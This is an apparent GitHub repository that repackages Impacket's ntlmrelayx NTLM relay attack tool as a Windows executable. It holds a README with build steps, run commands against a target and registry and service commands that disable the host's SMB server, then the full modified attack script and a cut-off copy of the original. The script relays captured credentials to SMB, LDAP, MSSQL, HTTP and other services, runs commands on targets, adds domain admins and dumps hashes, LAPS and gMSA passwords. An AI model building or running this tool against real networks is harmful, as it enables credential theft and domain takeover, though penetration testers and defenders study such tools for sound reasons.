├── README.md ├── error.jpg ├── image.jpg ├── image1.jpg ├── image2.jpg ├── ntlmrelayx.py └── ntlmrelayx_original.py /README.md: -------------------------------------------------------------------------------- 1 | ## Intro 2 | While trying to convert a current version of impackets ntlmrelayx.py to an exe with pyinstaller, I stumbled upon a shitload of problems. 3 | I managed to get it at least partially working with the help of https://twitter.com/Geiseric4 4 | 5 | ## Tools 6 | https://pyinstaller.org/en/stable/index.html 7 | https://github.com/fortra/impacket 8 | 9 | My setup is running on a Commando VM on a Windows 10 box with newest Python 3.11. 10 | 11 | ## Install steps 12 | 1. Install PyInstaller: 13 | ``pip install pyinstaller`` or ``pip install --upgrade pyinstaller`` 14 | 2. Installed impacket: 15 | ``pip install impacket`` 16 | 3. Install missing python dependencies (at least I needed to): 17 | ``pip install dsinternals. pyreadline, uuid`` 18 | 19 | ## Build steps 20 | You have to tamper the original ntlmrelayx.py (included in this repo as ntlmrelayx_original.py) in order for it to work. 21 | The ntlmrelayx.py in this repo is the already prepared version. 22 | The changes are: 23 | 24 | ### After line 55 25 | ``` 26 | from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS 27 | 28 | from impacket.examples.ntlmrelayx.clients.dcsyncclient import DCSYNCRelayClient 29 | from impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient,HTTPSRelayClient 30 | from impacket.examples.ntlmrelayx.clients.rpcrelayclient import RPCRelayClient 31 | from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient 32 | from impacket.examples.ntlmrelayx.clients.smtprelayclient import SMTPRelayClient 33 | from impacket.examples.ntlmrelayx.clients.ldaprelayclient import LDAPRelayClient,LDAPSRelayClient 34 | from impacket.examples.ntlmrelayx.clients.mssqlrelayclient import MSSQLRelayClient 35 | from impacket.examples.ntlmrelayx.clients.imaprelayclient import IMAPRelayClient,IMAPSRelayClient 36 | from impacket.examples.ntlmrelayx.attacks.dcsyncattack import DCSYNCAttack 37 | from impacket.examples.ntlmrelayx.attacks.httpattack import HTTPAttack 38 | from impacket.examples.ntlmrelayx.attacks.httpattacks import adcsattack 39 | from impacket.examples.ntlmrelayx.attacks.ldapattack import LDAPAttack 40 | from impacket.examples.ntlmrelayx.attacks.mssqlattack import MSSQLAttack 41 | from impacket.examples.ntlmrelayx.attacks.smbattack import SMBAttack 42 | from impacket.examples.ntlmrelayx.attacks.imapattack import IMAPAttack 43 | from impacket.examples.ntlmrelayx.attacks.rpcattack import RPCAttack 44 | 45 | PROTOCOL_ATTACKS = {"DCSYNC":DCSYNCAttack, "HTTP":HTTPAttack, "HTTPS":adcsattack ,"IMAP":IMAPAttack,"IMAPS":IMAPAttack,"SMB":SMBAttack,"RPC":RPCAttack,"MSSQL":MSSQLAttack,"LDAP":LDAPAttack, "LDAPS":LDAPAttack} 46 | PROTOCOL_CLIENTS = {"DCSYNC":DCSYNCRelayClient, "HTTP":HTTPRelayClient, "HTTPS":HTTPSRelayClient, "SMTP":SMTPRelayClient, "LDAPS":LDAPSRelayClient, "IMAP":IMAPRelayClient, "IMAPS":IMAPSRelayClient, "SMB":SMBRelayClient,"RPC":RPCRelayClient,"MSSQL":MSSQLRelayClient,"LDAP":LDAPRelayClient} 47 | 48 | RELAY_SERVERS = [] 49 | ``` 50 | ![](image.jpg) 51 | 52 | ### Replace line 401 53 | ``` 54 | # Let's register the protocol clients we have 55 | # ToDo: Do this better somehow 56 | for x in PROTOCOL_CLIENTS.keys(): 57 | logging.info('Protocol Client %s loaded..' % x) 58 | ``` 59 | ![](image1.jpg) 60 | 61 | Lastly we can compile the .py to an exe (you need to include the paths to the python packages for impacket and uuid to wherever they are stored on your system): 62 | ``` 63 | pyinstaller ntlmrelayx.py --onefile --path C:\Python311\Lib\site-packages\impacket,C:\Python311\Lib\site-packages,C:\Python311\Lib 64 | ``` 65 | 66 | ## Run 67 | 68 | Run as you normally would do 69 | 70 | ``` 71 | ./ntlmrelayx.exe -h 72 | ./ntlmrelayx.exe -t ldaps://1.2.3.4 --no-smb-server 73 | ./ntlmrelayx.exe -t ldaps://1.2.3.4 -i 74 | ... 75 | ``` 76 | 77 | ![](image2.jpg) 78 | 79 | ## Errors 80 | 81 | If you get ``PermissionError: [WinError 10013] An attempt was made to access a socket in a way forbidden by its access permissions`` this is because you don't have access to start a socket listening on 445, as this is blocked by Windows own SMB server. 82 | In order to be able to listen for SMB traffic on 445, we need to disable the SMB-Server with the provided commands: 83 | ``` 84 | reg add HKLM\SYSTEM\CurrentControlSet\Services\NetBT /v SMBDeviceEnabled /t REG_QWORD /d 0 85 | Stop-Service "LanmanServer" -Force 86 | Set-Service "LanmanServer" -StartupType Disabled 87 | Reboot 88 | ``` 89 | 90 | ## Updates 91 | 92 | Currently not working / problems / resolved: 93 | - [x] As of today, 15.05.2023 interactive LDAPS shell is working, but enumeration e.g. is not. Currently not able to figure out why. 94 | - [ ] Socks option currently not working 95 | -------------------------------------------------------------------------------- /error.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LuemmelSec/ntlmrelayx.py_to_exe/a4923f4e7951e38463712b40a43d8b990b3b5dc5/error.jpg -------------------------------------------------------------------------------- /image.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LuemmelSec/ntlmrelayx.py_to_exe/a4923f4e7951e38463712b40a43d8b990b3b5dc5/image.jpg -------------------------------------------------------------------------------- /image1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LuemmelSec/ntlmrelayx.py_to_exe/a4923f4e7951e38463712b40a43d8b990b3b5dc5/image1.jpg -------------------------------------------------------------------------------- /image2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LuemmelSec/ntlmrelayx.py_to_exe/a4923f4e7951e38463712b40a43d8b990b3b5dc5/image2.jpg -------------------------------------------------------------------------------- /ntlmrelayx.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2022 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Generic NTLM Relay Module 12 | # 13 | # This module performs the SMB Relay attacks originally discovered 14 | # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). 15 | # It receives a list of targets and for every connection received it 16 | # will choose the next target and try to relay the credentials. Also, if 17 | # specified, it will first to try authenticate against the client connecting 18 | # to us. 19 | # 20 | # It is implemented by invoking a SMB and HTTP Server, hooking to a few 21 | # functions and then using the specific protocol clients (e.g. SMB, LDAP). 22 | # It is supposed to be working on any LM Compatibility level. The only way 23 | # to stop this attack is to enforce on the server SPN checks and or signing. 24 | # 25 | # If the authentication against the targets succeeds, the client authentication 26 | # succeeds as well and a valid connection is set against the local smbserver. 27 | # It's up to the user to set up the local smbserver functionality. One option 28 | # is to set up shares with whatever files you want to so the victim thinks it's 29 | # connected to a valid SMB server. All that is done through the smb.conf file or 30 | # programmatically. 31 | # 32 | # Authors: 33 | # Alberto Solino (@agsolino) 34 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 35 | # 36 | 37 | import argparse 38 | import sys 39 | import logging 40 | import cmd 41 | try: 42 | from urllib.request import ProxyHandler, build_opener, Request 43 | except ImportError: 44 | from urllib2 import ProxyHandler, build_opener, Request 45 | 46 | import json 47 | from time import sleep 48 | from threading import Thread 49 | 50 | from impacket import version 51 | from impacket.examples import logger 52 | from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer 53 | from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports 54 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher 55 | from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS 56 | from impacket.examples.ntlmrelayx.clients.dcsyncclient import DCSYNCRelayClient 57 | from impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient,HTTPSRelayClient 58 | from impacket.examples.ntlmrelayx.clients.rpcrelayclient import RPCRelayClient 59 | from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient 60 | from impacket.examples.ntlmrelayx.clients.smtprelayclient import SMTPRelayClient 61 | from impacket.examples.ntlmrelayx.clients.ldaprelayclient import LDAPRelayClient,LDAPSRelayClient 62 | from impacket.examples.ntlmrelayx.clients.mssqlrelayclient import MSSQLRelayClient 63 | from impacket.examples.ntlmrelayx.clients.imaprelayclient import IMAPRelayClient,IMAPSRelayClient 64 | from impacket.examples.ntlmrelayx.attacks.dcsyncattack import DCSYNCAttack 65 | from impacket.examples.ntlmrelayx.attacks.httpattack import HTTPAttack 66 | from impacket.examples.ntlmrelayx.attacks.httpattacks import adcsattack 67 | from impacket.examples.ntlmrelayx.attacks.ldapattack import LDAPAttack 68 | from impacket.examples.ntlmrelayx.attacks.mssqlattack import MSSQLAttack 69 | from impacket.examples.ntlmrelayx.attacks.smbattack import SMBAttack 70 | from impacket.examples.ntlmrelayx.attacks.imapattack import IMAPAttack 71 | from impacket.examples.ntlmrelayx.attacks.rpcattack import RPCAttack 72 | 73 | PROTOCOL_ATTACKS = {"DCSYNC":DCSYNCAttack, "HTTP":HTTPAttack, "HTTPS":adcsattack ,"IMAP":IMAPAttack,"IMAPS":IMAPAttack,"SMB":SMBAttack,"RPC":RPCAttack,"MSSQL":MSSQLAttack,"LDAP":LDAPAttack, "LDAPS":LDAPAttack} 74 | PROTOCOL_CLIENTS = {"DCSYNC":DCSYNCRelayClient, "HTTP":HTTPRelayClient, "HTTPS":HTTPSRelayClient, "SMTP":SMTPRelayClient, "LDAPS":LDAPSRelayClient, "IMAP":IMAPRelayClient, "IMAPS":IMAPSRelayClient, "SMB":SMBRelayClient,"RPC":RPCRelayClient,"MSSQL":MSSQLRelayClient,"LDAP":LDAPRelayClient} 75 | 76 | RELAY_SERVERS = [] 77 | 78 | class MiniShell(cmd.Cmd): 79 | def __init__(self, relayConfig, threads): 80 | cmd.Cmd.__init__(self) 81 | 82 | self.prompt = 'ntlmrelayx> ' 83 | self.tid = None 84 | self.relayConfig = relayConfig 85 | self.intro = 'Type help for list of commands' 86 | self.relayThreads = threads 87 | self.serversRunning = True 88 | 89 | @staticmethod 90 | def printTable(items, header): 91 | colLen = [] 92 | for i, col in enumerate(header): 93 | rowMaxLen = max([len(row[i]) for row in items]) 94 | colLen.append(max(rowMaxLen, len(col))) 95 | 96 | outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) 97 | 98 | # Print header 99 | print(outputFormat.format(*header)) 100 | print(' '.join(['-' * itemLen for itemLen in colLen])) 101 | 102 | # And now the rows 103 | for row in items: 104 | print(outputFormat.format(*row)) 105 | 106 | def emptyline(self): 107 | pass 108 | 109 | def do_targets(self, line): 110 | for url in self.relayConfig.target.originalTargets: 111 | print(url.geturl()) 112 | return 113 | 114 | def do_finished_attacks(self, line): 115 | for url in self.relayConfig.target.finishedAttacks: 116 | print (url.geturl()) 117 | return 118 | 119 | def do_socks(self, line): 120 | headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] 121 | url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" 122 | try: 123 | proxy_handler = ProxyHandler({}) 124 | opener = build_opener(proxy_handler) 125 | response = Request(url) 126 | r = opener.open(response) 127 | result = r.read() 128 | items = json.loads(result) 129 | except Exception as e: 130 | logging.error("ERROR: %s" % str(e)) 131 | else: 132 | if len(items) > 0: 133 | 134 | self.printTable(items, header=headers) 135 | else: 136 | logging.info('No Relays Available!') 137 | 138 | 139 | def do_startservers(self, line): 140 | if not self.serversRunning: 141 | start_servers(options, self.relayThreads) 142 | self.serversRunning = True 143 | logging.info('Relay servers started') 144 | else: 145 | logging.error('Relay servers are already running!') 146 | 147 | def do_stopservers(self, line): 148 | if self.serversRunning: 149 | stop_servers(self.relayThreads) 150 | self.serversRunning = False 151 | logging.info('Relay servers stopped') 152 | else: 153 | logging.error('Relay servers are already stopped!') 154 | 155 | def do_exit(self, line): 156 | print("Shutting down, please wait!") 157 | return True 158 | 159 | def do_EOF(self, line): 160 | return self.do_exit(line) 161 | 162 | def start_servers(options, threads): 163 | for server in RELAY_SERVERS: 164 | #Set up config 165 | c = NTLMRelayxConfig() 166 | c.setProtocolClients(PROTOCOL_CLIENTS) 167 | c.setRunSocks(options.socks, socksServer) 168 | c.setTargets(targetSystem) 169 | c.setExeFile(options.e) 170 | c.setCommand(options.c) 171 | c.setEnumLocalAdmins(options.enum_local_admins) 172 | c.setDisableMulti(options.no_multirelay) 173 | c.setEncoding(codec) 174 | c.setMode(mode) 175 | c.setAttacks(PROTOCOL_ATTACKS) 176 | c.setLootdir(options.lootdir) 177 | c.setOutputFile(options.output_file) 178 | c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid) 179 | c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) 180 | c.setMSSQLOptions(options.query) 181 | c.setInteractive(options.interactive) 182 | c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) 183 | c.setIPv6(options.ipv6) 184 | c.setWpadOptions(options.wpad_host, options.wpad_auth_num) 185 | c.setSMB2Support(options.smb2support) 186 | c.setSMBChallenge(options.ntlmchallenge) 187 | c.setInterfaceIp(options.interface_ip) 188 | c.setExploitOptions(options.remove_mic, options.remove_target) 189 | c.setWebDAVOptions(options.serve_image) 190 | c.setIsADCSAttack(options.adcs) 191 | c.setADCSOptions(options.template) 192 | c.setIsShadowCredentialsAttack(options.shadow_credentials) 193 | c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, 194 | options.cert_outfile_path) 195 | 196 | c.setAltName(options.altname) 197 | 198 | #If the redirect option is set, configure the HTTP server to redirect targets to SMB 199 | if server is HTTPRelayServer and options.r is not None: 200 | c.setMode('REDIRECT') 201 | c.setRedirectHost(options.r) 202 | 203 | #Use target randomization if configured and the server is not SMB 204 | if server is not SMBRelayServer and options.random: 205 | c.setRandomTargets(True) 206 | 207 | if server is HTTPRelayServer: 208 | c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) 209 | for port in options.http_port: 210 | c.setListeningPort(port) 211 | s = server(c) 212 | s.start() 213 | threads.add(s) 214 | sleep(0.1) 215 | continue 216 | 217 | elif server is SMBRelayServer: 218 | c.setListeningPort(options.smb_port) 219 | elif server is WCFRelayServer: 220 | c.setListeningPort(options.wcf_port) 221 | elif server is RAWRelayServer: 222 | c.setListeningPort(options.raw_port) 223 | 224 | s = server(c) 225 | s.start() 226 | threads.add(s) 227 | return c 228 | 229 | def stop_servers(threads): 230 | todelete = [] 231 | for thread in threads: 232 | if isinstance(thread, tuple(RELAY_SERVERS)): 233 | thread.server.shutdown() 234 | todelete.append(thread) 235 | # Now remove threads from the set 236 | for thread in todelete: 237 | threads.remove(thread) 238 | del thread 239 | 240 | # Process command-line arguments. 241 | if __name__ == '__main__': 242 | 243 | print(version.BANNER) 244 | #Parse arguments 245 | parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " 246 | "try to relay that connection to specified target(s) system or the original client") 247 | parser._optionals.title = "Main options" 248 | 249 | #Main arguments 250 | parser.add_argument("-h","--help", action="help", help='show this help message and exit') 251 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 252 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 253 | parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help="Target to relay the credentials to, " 254 | "can be an IP, hostname or URL like domain\\username@host:port (domain\\username and port " 255 | "are optional, and don't forget to escape the '\\'). If unspecified, it will relay back " 256 | "to the client')") 257 | parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 258 | 'full URL, one per line') 259 | parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 260 | 'automatically (only valid with -tf)') 261 | parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient, LDAP console or SQL shell instead' 262 | 'of executing a command after a successful relay. This console will listen locally on a ' 263 | ' tcp port and can be reached with for example netcat.') 264 | 265 | # Interface address specification 266 | parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 267 | 'bind SMB and HTTP servers',default='') 268 | 269 | serversoptions = parser.add_argument_group() 270 | serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') 271 | serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') 272 | serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server') 273 | serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server') 274 | 275 | parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) 276 | parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80") 277 | parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS 278 | parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) 279 | 280 | parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') 281 | parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') 282 | parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') 283 | parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' 284 | 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') 285 | parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' 286 | 'will be added for ntlm and ntlmv2') 287 | parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 288 | '"%s"). If errors are detected, run chcp.com at the target, ' 289 | 'map the result with ' 290 | 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py ' 291 | 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) 292 | parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support') 293 | parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the ' 294 | 'SMB Server (16 hex bytes long. eg: 1122334455667788)') 295 | parser.add_argument('-socks', action='store_true', default=False, 296 | help='Launch a SOCKS proxy for the connection relayed') 297 | parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' 298 | 'setting the proxy host to the one supplied.') 299 | parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed ' 300 | 'before serving a WPAD file. (default=1)') 301 | parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') 302 | parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') 303 | parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') 304 | parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 305 | 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' 306 | ' in the same directory). For RPC no output will be provided.') 307 | 308 | #SMB arguments 309 | smboptions = parser.add_argument_group("SMB client options") 310 | 311 | smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' 312 | 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') 313 | smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') 314 | 315 | 316 | 317 | 318 | #RPC arguments 319 | rpcoptions = parser.add_argument_group("RPC client options") 320 | rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') 321 | rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes') 322 | rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]', 323 | help='Use this credential to authenticate to SMB (low-privilege account)') 324 | rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH") 325 | rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB') 326 | 327 | #MSSQL arguments 328 | mssqloptions = parser.add_argument_group("MSSQL client options") 329 | mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' 330 | '(can specify multiple)') 331 | 332 | #HTTPS options 333 | httpoptions = parser.add_argument_group("HTTP options") 334 | httpoptions.add_argument('-machine-account', action='store', required=False, 335 | help='Domain machine account to use when interacting with the domain to grab a session key for ' 336 | 'signing, format is domain/machine_name') 337 | httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", 338 | help='Domain machine hashes, format is LMHASH:NTHASH') 339 | httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') 340 | httpoptions.add_argument('-remove-target', action='store_true', default=False, 341 | help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') 342 | 343 | #LDAP options 344 | ldapoptions = parser.add_argument_group("LDAP client options") 345 | ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') 346 | ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') 347 | ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') 348 | ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') 349 | ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') 350 | ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account') 351 | ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') 352 | ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') 353 | ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') 354 | ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') 355 | ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') 356 | 357 | 358 | #IMAP options 359 | imapoptions = parser.add_argument_group("IMAP client options") 360 | imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' 361 | 'If not specified, will search for mails containing "password"') 362 | imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') 363 | imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' 364 | 'dump all emails') 365 | imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' 366 | '(0 = unlimited, default: no limit)') 367 | 368 | # AD CS options 369 | adcsoptions = parser.add_argument_group("AD CS attack options") 370 | adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') 371 | adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') 372 | adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') 373 | 374 | # Shadow Credentials attack options 375 | shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") 376 | shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False, 377 | help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)') 378 | shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from') 379 | shadowcredentials.add_argument('--pfx-password', action='store', required=False, 380 | help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)') 381 | shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", "PFX"], type=lambda choice: choice.upper(), default="PFX", 382 | help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') 383 | shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') 384 | 385 | 386 | try: 387 | options = parser.parse_args() 388 | except Exception as e: 389 | logging.error(str(e)) 390 | sys.exit(1) 391 | 392 | if options.rpc_use_smb and not options.auth_smb: 393 | logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") 394 | sys.exit(1) 395 | 396 | # Init the example's logger theme 397 | logger.init(options.ts) 398 | 399 | if options.debug is True: 400 | logging.getLogger().setLevel(logging.DEBUG) 401 | # Print the Library's installation path 402 | logging.debug(version.getInstallationPath()) 403 | else: 404 | logging.getLogger().setLevel(logging.INFO) 405 | logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 406 | 407 | # Let's register the protocol clients we have 408 | # ToDo: Do this better somehow 409 | for x in PROTOCOL_CLIENTS.keys(): 410 | logging.info('Protocol Client %s loaded..' % x) 411 | 412 | if options.codec is not None: 413 | codec = options.codec 414 | else: 415 | codec = sys.getdefaultencoding() 416 | 417 | 418 | 419 | if options.target is not None: 420 | logging.info("Running in relay mode to single host") 421 | mode = 'RELAY' 422 | targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) 423 | # Disabling multirelay feature (Single host + general candidate) 424 | if targetSystem.generalCandidates: 425 | options.no_multirelay = True 426 | else: 427 | if options.tf is not None: 428 | #Targetfile specified 429 | 430 | 431 | 432 | logging.info("Running in relay mode to hosts in targetfile") 433 | targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) 434 | mode = 'RELAY' 435 | else: 436 | logging.info("Running in reflection mode") 437 | targetSystem = None 438 | mode = 'REFLECTION' 439 | 440 | if not options.no_smb_server: 441 | RELAY_SERVERS.append(SMBRelayServer) 442 | 443 | if not options.no_http_server: 444 | RELAY_SERVERS.append(HTTPRelayServer) 445 | try: 446 | options.http_port = parse_listening_ports(options.http_port) 447 | except ValueError: 448 | logging.error("Incorrect specification of port range for HTTP server") 449 | sys.exit(1) 450 | 451 | if options.r is not None: 452 | logging.info("Running HTTP server in redirect mode") 453 | 454 | if not options.no_wcf_server: 455 | RELAY_SERVERS.append(WCFRelayServer) 456 | 457 | if not options.no_raw_server: 458 | RELAY_SERVERS.append(RAWRelayServer) 459 | 460 | if targetSystem is not None and options.w: 461 | watchthread = TargetsFileWatcher(targetSystem) 462 | watchthread.start() 463 | 464 | threads = set() 465 | socksServer = None 466 | if options.socks is True: 467 | # Start a SOCKS proxy in the background 468 | socksServer = SOCKS() 469 | socksServer.daemon_threads = True 470 | socks_thread = Thread(target=socksServer.serve_forever) 471 | socks_thread.daemon = True 472 | socks_thread.start() 473 | threads.add(socks_thread) 474 | 475 | c = start_servers(options, threads) 476 | 477 | print("") 478 | logging.info("Servers started, waiting for connections") 479 | try: 480 | if options.socks: 481 | shell = MiniShell(c, threads) 482 | shell.cmdloop() 483 | else: 484 | sys.stdin.read() 485 | except KeyboardInterrupt: 486 | pass 487 | else: 488 | pass 489 | 490 | if options.socks is True: 491 | socksServer.shutdown() 492 | del socksServer 493 | 494 | for s in threads: 495 | del s 496 | 497 | sys.exit(0) 498 | -------------------------------------------------------------------------------- /ntlmrelayx_original.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright (C) 2022 Fortra. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Generic NTLM Relay Module 12 | # 13 | # This module performs the SMB Relay attacks originally discovered 14 | # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). 15 | # It receives a list of targets and for every connection received it 16 | # will choose the next target and try to relay the credentials. Also, if 17 | # specified, it will first to try authenticate against the client connecting 18 | # to us. 19 | # 20 | # It is implemented by invoking a SMB and HTTP Server, hooking to a few 21 | # functions and then using the specific protocol clients (e.g. SMB, LDAP). 22 | # It is supposed to be working on any LM Compatibility level. The only way 23 | # to stop this attack is to enforce on the server SPN checks and or signing. 24 | # 25 | # If the authentication against the targets succeeds, the client authentication 26 | # succeeds as well and a valid connection is set against the local smbserver. 27 | # It's up to the user to set up the local smbserver functionality. One option 28 | # is to set up shares with whatever files you want to so the victim thinks it's 29 | # connected to a valid SMB server. All that is done through the smb.conf file or 30 | # programmatically. 31 | # 32 | # Authors: 33 | # Alberto Solino (@agsolino) 34 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 35 | # 36 | 37 | import argparse 38 | import sys 39 | import logging 40 | import cmd 41 | try: 42 | from urllib.request import ProxyHandler, build_opener, Request 43 | except ImportError: 44 | from urllib2 import ProxyHandler, build_opener, Request 45 | 46 | import json 47 | from time import sleep 48 | from threading import Thread 49 | 50 | from impacket import version 51 | from impacket.examples import logger 52 | from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, WCFRelayServer, RAWRelayServer 53 | from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig, parse_listening_ports 54 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, 